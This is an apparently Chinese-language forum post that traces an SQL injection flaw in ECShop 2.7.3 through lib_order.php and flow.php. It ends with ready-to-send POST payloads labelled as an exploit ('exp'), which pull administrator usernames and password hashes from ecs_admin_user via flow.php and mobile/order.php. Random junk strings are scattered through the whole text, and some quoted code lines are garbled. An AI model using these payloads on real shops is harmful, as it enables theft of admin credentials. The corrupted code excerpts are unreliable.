前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 p' c$ z5 t: M
# J: k7 K4 j) q5 S. @4 R" Z 漏洞关键文件:0 q* B9 K3 o+ O# N! J% E
# w$ V9 L% y# M, j( v4 A( o
/includes/lib_order.php1 e5 c: L3 ~' ]- `
0 s* h# v) T+ k B( d; Q1 Q 关键函数:# K% s& {. O* W: E* |' x
: V( q: H* ~+ i) V* i 3 A4 K2 b( c: Y& I" ?
/ ?* N. g4 X) O6 X' e01 function available_shipping_list($region_id_list) ) h' c) d4 O; L. Y6 M
+ g9 Q9 T. ~5 f" b7 h, B. F02 { * T2 P. I& b1 p/ b' e! H( t6 W
$ w# M; T: E# P
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* K6 E# W7 N) `+ s5 k- v3 N; r3 a9 E& x
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
' x) R6 E# A) z% E) M# F9 L" v
4 c) ?2 a' j" d! P& c. m, r/ Y# C$ z05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 5 s8 A h& H# q( ]8 N* e6 L( {
. E$ x' _; V6 C) I8 {! J9 i- b4 F; D06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * D7 i% A) Z0 q. T; k3 w0 @+ s
1 ]" R6 C/ Z* a6 ?4 b+ B; a, A07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
l4 Z `; Q; k* j3 C' T5 R9 C* _6 }
/ {/ K. W# v. a. z: m" N5 y' }08 'WHERE r.region_id ' . db_create_in($region_id_list) . # j! d+ b2 S6 M. |2 c; C# A
/ m& \9 }) L0 q$ @! x+ M
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ; u: c( ?$ @1 u7 @" ]* q5 N: a
9 p3 ^ F' k; R6 |: J. v
10 / ]( l* S# N: z; b3 O
@7 y- O$ Y v3 d% s
11 return $GLOBALS['db']->getAll($sql); 8 H8 j Y: [( t* l- O0 W
) R- x$ n7 ~( l; E1 z& H12 }
2 u6 e" i$ V' @4 t' @6 b8 r4 ~6 e
+ Y; x: @; h: M. y" A+ F- }1 H1 |显然对传入的参数没有任何过滤就带入了查询语句。9 W9 k6 T& M2 h( l1 D& ~: X- J" }& @
M0 P J, n' w$ t+ k2 K& E下面我们追踪这个函数在flow.php中:
1 f7 |4 `: R8 U- K6 I2 n9 Z! W3 ^( { 第531行: 7 T& ^( w5 J2 U6 l
$ I# @4 F; b2 R$ d3 g0 ~
1 $shipping_list = available_shipping_list($region); + w' y1 Z4 T) D$ P) P
4 x# B: a" T. i+ p) f1 h
/ o: }: q6 l- D1 {. l1 o
3 d( z* q7 Y7 g " T0 S4 `7 {% F& I6 I6 D0 F
( |/ v7 c: M% k$ h, Y: t再对传入变量进行追踪:& z7 U g7 l6 q
4 S3 z6 @, ^/ {: Y第530行:
4 z6 A p& r4 a3 V1 I
1 o, O6 h' B+ |" P1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( C. \$ k/ o! _, ]) E; ]6 W
8 G5 }7 J' l+ P, m
4 J& u0 k6 X5 D9 ~- i, s& w/ T9 d4 g! Q9 n: i
7 @) \' x5 c1 c) S! C% M' P
3 b% Y' k2 Y# T* y1 d第473行:
I2 K. A! h+ v/ ] W5 }6 q5 ]+ x- A- M; @. Q- h3 W
1 $consignee = get_consignee($_SESSION['user_id']);
) C! x! M, c2 @% l3 G2 y
* S! r' ~& o( l到了一个关键函数:
: r% l9 a, G7 R7 t0 ?5 R0 p- }- c/ t' r' A
/includes/lib_order.php
* z4 A) a8 T& u' h/ N: V+ g# k% j; C. o- h+ ^5 m
: h# a; ~. N! U0 n
4 r4 y: I0 R% A" B! [0 z
' l0 i; q$ m4 _
0 G$ W5 E% `8 R7 B: B( Q01 function get_consignee($user_id)
8 ~4 y, J" i7 m2 H; ]$ s. L* R* J% Q
02 {
7 E- [) C$ {* \4 i4 w& l; @! U- Y# f
: K' C! W( l, N- u03 if (isset($_SESSION['flow_consignee']))
2 M1 x6 [; D$ i. B$ X
: J& x8 C, G1 @. I04 { 3 ~( W& x$ @$ R
* U' j" S4 L& e0 [- n8 ~05 /* 如果存在session,则直接返回session中的收货人信息 */
, v J0 e* [0 `) x' O7 G, I1 _6 w2 {( i" u$ a
06
% t, H0 A! B8 `1 c, j# a2 M# N
' M/ n& S3 V6 E6 x8 ]2 @07 return $_SESSION['flow_consignee'];
5 N6 Q2 [% `/ G* V2 `- y) ^% d. I n/ q( K" ?) ?5 p2 t! a, o9 f) U/ c( H5 G
08 } / N' R2 Z( |7 W4 M2 t( X' W
7 h" j! v% d v: w1 z
09 else
. R) R( S2 w* e: D* a! q v+ Q
: g8 W# o% P9 d, h! J/ J10 {
; A1 i$ y% H: ]
, @ P; ^3 u7 S, W' [11 /* 如果不存在,则取得用户的默认收货人信息 */ $ V; r; c( l1 |
/ a% r' s& x) L' ~! J2 z12 $arr = array(); $ q& Y' c7 M) d" s; P+ O/ Y. h
9 |, h( U M( A+ B, w0 J0 B& O/ W: ~
13
; J P- f1 o w4 y, W% j
% F. K* {7 S( G14 if ($user_id > 0) 4 ]; t4 ]4 ?6 h" M% h2 l
0 [+ Y5 ], C4 _2 }15 {
$ u$ W+ Z# h$ X" T
( ^8 V, r; l0 T0 d. R. O16 /* 取默认地址 */ - _2 }9 d2 V7 x [
3 O1 P {9 U& V% h. P17 $sql = "SELECT ua.*". o4 b! `. ?5 W5 y0 i* B) G
2 e' q% b- D6 ^$ M18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
/ y" p: P- s0 O6 \7 T6 C$ u8 G" Y
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* ~+ C7 h' _* G/ n' ^/ u: G/ g4 o! F; {8 {' H, d2 h; q8 U
20 ; I" w9 I3 e: [: e% g, F2 r
8 F0 w; A+ V) C, ~, J. P
21 $arr = $GLOBALS['db']->getRow($sql); ; P' f+ O# ?4 y
0 w1 p0 }1 ^1 ~
22 } # z6 Z/ J) E/ m9 S! R9 f5 r# e% s* R
) T( k) g/ t, p; B
23
. K+ `% q! \; }
/ Y' e' g* q- r1 d' O7 t) Y; X24 return $arr; 5 n3 J* {" N: j+ C' q- f
* C) T, o7 R5 p25 } " F- ?( ], u: D1 U
, A$ S1 z* P2 g$ M9 O+ y8 J' Z26 }
8 s" h* [4 N* h6 k2 x+ m3 H: ]/ ?
3 h! ` \& S9 P0 C% w p+ b显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
! u* A* e* N5 v! v r. z+ }. \( X# L: A: o0 J$ L( y
3 b& H; w; j) C: f
* {/ H# s7 h: y. \) p关键点:
5 t( V3 ]# C) i9 f- R
# O% p1 n/ _9 j. ]0 Q" U- {第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);6 Y% E, Z3 e3 o1 W6 u
, I' ~# q! c- J/ ^ F这里对传入参数反转义存入$_SESSION中。
2 C; y8 `# L. Z, e3 B7 I4 W9 @/ H M/ u1 q h/ C: ~ L" l
: S, B) s! O7 L/ h
2 d5 R% M" G$ c8 f5 j* p
然后看下:
! A+ M. M) `( \4 \+ U# Y, |& G7 Y; M6 V* t% N$ [
2 s/ k. f6 P! ?: \
" E R. C" I: _% M2 j
# j0 T9 G9 C/ w! _2 E
; s. h4 U4 u G01 $consignee = array(
( K2 L* U3 b% I" x% [
f' T' E9 ~* C02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
y# i8 b+ G, h) G% s- s; u4 M" e
7 ]0 t7 X6 C _03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
( y v O/ Q; ~+ r; Z0 b" d: |0 ?- T! g1 B# }$ ?2 O3 _
04 'country' => empty($_POST['country']) ? '' _POST['country'], N2 e1 e8 R( }% Z- Y& z5 L
0 |/ P6 r! R: J! }05 'province' => empty($_POST['province']) ? '' _POST['province'],
. C' k7 @0 W+ E0 O [: g$ r
2 L% u" T0 h: \9 U3 W- F D, H06 'city' => empty($_POST['city']) ? '' _POST['city'], k5 t5 k6 M& K
$ Y4 M( y! a0 [; ]/ c4 S" k
07 'district' => empty($_POST['district']) ? '' _POST['district'],
; |" {% m; D, n; L& W/ H7 T, ` R4 G; h& D+ z3 c! _
08 'email' => empty($_POST['email']) ? '' _POST['email'], 9 v- W7 e; [# N! n1 v
8 G' z$ N& M* J4 t: p09 'address' => empty($_POST['address']) ? '' _POST['address'], 6 t$ ~$ N f4 V, L& D! S
/ m/ H# k6 l' N B: i10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
+ y w# S+ ~( [6 @
S7 \8 W6 @" X3 a/ @- l* F! y11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), " J7 S; R: h- N4 V* f
+ A9 f0 K' Y i, V12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 0 S% B# {# L: n/ F. W
9 i5 h" Q( j& P: i
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 m# @, \7 \ s( V' ^: h+ g$ h4 d& E5 ]: k/ ~- P$ n) s5 n# N
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], , x6 R( Z8 M5 F @+ K* k5 @0 E' V
' ^6 M& ~7 ^6 e4 K15 ); 6 ~ [' J% C7 @# @
) d/ l8 k }) `- F- j B: R好了注入就这样出现了。
# P& r1 M% o( V$ K+ h
5 E: [. o7 O. y! j7 m0 G$ t& Y==================
2 G- X$ h1 n( e! j7 ]
% T$ i* G* C3 W( m4 p注入测试:! |6 N# L0 Z( j+ O# o7 I- h s) J
' J3 z! F9 N" @6 s. G1 x
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
4 j& A& P+ p6 q: P8 T+ g# i3 _1 g0 S0 d+ I8 \
测试程序:ECShop_V2.7.3_UTF8_release11067 r* \: s0 n& J; I* D) O
" d1 S) { y5 R" ~1 h
! {0 U% Z" X3 ^, m7 H, P' X, Q0 Q6 _; T. d8 p) s
1.首先需要点击一个商品加入购物车) x- s; S5 u0 `' {( W1 v
1 k7 S3 o0 b0 {) u2.注册一个会员帐号5 g0 U! G7 b1 b7 @1 F# E
( T& n6 t4 J1 s, H) q2 N3.post提交数据# r, ?; S3 s/ R
7 F' C+ |$ f9 R+ y8 x
& k% E' h( H, H/ T$ D4 M d/ `" n
7 N2 p7 T2 x$ Y4 j( p3 e1 http://127.0.0.1/ecshop/flow.php
1 a ` G/ d) G. x0 \
$ j2 C. p4 s. m, w2
8 e! J2 V+ N/ w" h, @* \3 G7 o, Q* }$ H i, h6 m
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= + k$ R' p' e, T& W. m7 Y& p
举一反三,我们根据这个漏洞我们可以继续深入挖掘:! g3 x% P* U7 t3 ?3 f; A
# @0 M. ?/ Z( ]6 O我们搜寻关键函数function available_shipping_list()
1 |8 K4 y+ g4 v8 u
" d# Y5 z0 }( Q) R在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同1 Q- S. V) v. H& V
: A! ^( H" X& v4 j& d7 z
利用exp:
) m! A5 R1 @" i1 z! Z1 s# a3 ?; d; a' {, f; {$ P
1.点击一个商品,点击购买商标2 d6 \# F$ J/ \9 A$ D
" x/ f& b8 f# r) L6 a2.登录会员帐号8 I0 R8 s( ] g% w7 u( p5 u
% c1 }' G" b+ h: Z' ^2 C4 t8 b0 w3.post提交:7 p+ W ^) e2 j) J) \, ~
$ R& Q; O1 ~- b# ^$ S* L* phttp://127.0.0.1/ecshop/mobile/order.php
+ \$ d. t: D, R9 B2 a/ X1 R+ H5 m) r; L: c5 k
" V' j: B7 C0 a3 I! E8 q* V
W1 n! }& D h% `+ U4 z# j" N
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
* E- I. F2 ]7 c3 ^; R) h) h& _
|